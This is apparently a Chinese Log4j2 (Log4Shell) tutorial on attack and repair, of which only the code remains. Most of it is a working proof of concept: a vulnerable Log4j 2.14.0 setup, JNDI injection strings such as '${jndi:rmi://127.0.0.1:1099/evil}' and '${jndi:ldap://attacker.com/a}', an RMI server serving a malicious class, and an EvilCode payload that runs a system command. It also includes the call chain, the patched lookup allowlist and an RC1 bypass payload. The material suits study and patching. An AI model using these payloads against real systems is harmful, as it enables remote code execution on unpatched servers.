Log4j2 远程执行代码漏洞如何攻击? 又如何修复

 <!--log4j2核心包-->            <dependency>                <groupId>org.apache.logging.log4j</groupId>                <artifactId>log4j-api</artifactId>                <version>2.14.0</version>            </dependency>            <dependency>                <groupId>org.apache.logging.log4j</groupId>                <artifactId>log4j-core</artifactId>                <version>2.14.0</version>            </dependency>            <!--使用yml配置log4j2-->            <dependency>                <groupId>com.fasterxml.jackson.dataformat</groupId>                <artifactId>jackson-dataformat-yaml</artifactId>                <version>2.12.3</version>            </dependency>            <!-- slf4j核心包-->            <dependency>                <groupId>org.slf4j</groupId>                <artifactId>slf4j-api</artifactId>                <version>1.7.32</version>            </dependency>            <!--用于与slf4j保持桥接-->            <dependency>                <groupId>org.apache.logging.log4j</groupId>                <artifactId>log4j-slf4j-impl</artifactId>                <version>2.14.0</version>            </dependency>        <!--log4j2核心包-->

import org.slf4j.Logger;import org.slf4j.LoggerFactory;
/** * @Title: 模拟运行存在漏洞log4j2的服务器 * @ClassName: geektime.log.ServerTest.java * @Description: * * @Copyright 2020-2021  - Powered By 研发中心 * @author: 琦彦 * @date:  2021/12/26 16:23 * @version V1.0 */public class ServerTest {
    private static final Logger logger = LoggerFactory.getLogger(ServerTest.class);
    public static void main(String[] args) {
        //有些高版本jdk需要打开此行代码        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        // 模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1        // ${jndi:rmi//127.0.0.1:1099/evil}，表示通过JNDI Lookup功能，获取rmi//127.0.0.1:1099/evil上的变量内容。        String username = "${jndi:rmi://127.0.0.1:1099/evil}";        //正常打印业务日志        logger.error("username:{}",username);    }}

package geektime.log;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;

/** * @Title: 准备好RMI服务端，等待受害服务器访问 * @ClassName: geektime.log.RMIServer.java * @Description: * * @Copyright 2020-2021  - Powered By 研发中心 * @author: 琦彦 * @date:  2021/12/26 16:23 * @version V1.0 */public class RMIServer {    public static void main(String[] args) {        try {            // 本地主机上的远程对象注册表Registry的实例,默认端口1099            LocateRegistry.createRegistry(1099);            Registry registry = LocateRegistry.getRegistry();            System.out.println("Create RMI registry on port 1099");            //返回的Java对象 第一个参数为包路径            Reference reference = new Reference("geektime.log.EvilCode","geektime.log.EvilCode",null);            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);            // 把远程对象注册到RMI注册服务器上，并命名为evil            registry.bind("evil",referenceWrapper);            // registry.bind("evil",new EvilCode());        } catch (RemoteException | AlreadyBoundException | NamingException e) {            e.printStackTrace();        }    }}

package geektime.log;
import java.io.*;import java.rmi.Remote;

/** * @Title: 执行任意的脚本，目前的脚本会使windows打开计算器 * @ClassName: geektime.log.EvilCode.java * @Description: * * @Copyright 2020-2021  - Powered By 研发中心 * @author: 琦彦 * @date:  2021/12/26 16:23 * @version V1.0 */public class EvilCode  {    static {        System.out.println("受害服务器将执行下面命令行");        Process p;
        String[] cmd = {"calc"};        try {            p = Runtime.getRuntime().exec("calc");            InputStream fis = p.getInputStream();            InputStreamReader isr = new InputStreamReader(fis);            BufferedReader br = new BufferedReader(isr);            String line = null;            while((line=br.readLine())!=null) {                System.out.println(line);            }        } catch (IOException e) {            e.printStackTrace();        }    }

}

Reference reference = new Reference("log.EvilCode","log.EvilCode",null);

/** * @Title: Log4j2的Lookup功能 * @ClassName: geektime.log.Log4j2Lookup.java * @Description: * * @Copyright 2020-2021 - Powered By 研发中心 * @version V1.0 */import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import org.apache.logging.log4j.ThreadContext;
public class Log4j2Lookup {    public static final Logger LOGGER = LogManager.getLogger(Log4j2Lookup.class);
    public static void main(String[] args) {        ThreadContext.put("userName", "琦彦同学,你好");        LOGGER.error("userName: ${ctx:userName}");    }}

16:33:21.448 [main] ERROR geektime.log.Log4j2Lookup - userName: 琦彦同学,你好

 import org.apache.log4j.Logger;  import java.io.*; import java.sql.SQLException; import java.util.*;  public class VulnerableLog4jExampleHandler implements HttpHandler {    static Logger log = Logger.getLogger(log4jExample.class.getName());    /**    * A simple HTTP endpoint that reads the request's User Agent and logs it back.    * This is basically pseudo-code to explain the vulnerability, and not a full example.    * @param he HTTP Request Object    */   public void handle(HttpExchange he) throws IOException {     string userAgent = he.getRequestHeader("user-agent");          // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.     // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}     log.info("Request User Agent:" + userAgent);      String response = "<h1>Hello There, " + userAgent + "!</h1>";     he.sendResponseHeaders(200, response.length());     OutputStream os = he.getResponseBody();     os.write(response.getBytes());     os.close();   } }

LOGGER.error  ......    MessagePatternConverter.format      ....        StrSubstitutor.resolveVariable          Interpolator.lookup            JndiLookup.lookup              JndiManager.lookup                InitialContext.lookup

public synchronized <T> T lookup(final String name) throws NamingException {        try {            URI uri = new URI(name);            if (uri.getScheme() != null) {                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {                    ......                    return null;                }                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {                    if (!allowedHosts.contains(uri.getHost())) {                        ......                        return null;                    }                    ......                    if (!allowedClasses.contains(className)) {                        ......                        return null;                    }                    ......                }            }        } catch (URISyntaxException ex) {            // This is OK.        }        return (T) this.context.lookup(name);    }

<Configuration>    <Appenders>        <Console name="CONSOLE">            <PatternLayout>                <pattern>%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n</pattern>            </PatternLayout>        </Console>    </Appenders>    <Loggers>        <Root level="DEBUG">            <AppenderRef ref="CONSOLE"/>        </Root>    </Loggers></Configuration>

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
public class Log4j2RC1Bypass {    public static final Logger LOGGER = LogManager.getLogger(Log4j2RC1Bypass.class);
    public static void main(String[] args) {        LOGGER.error("${jndi:ldap://127.0.0.1:8888/exp}");    }}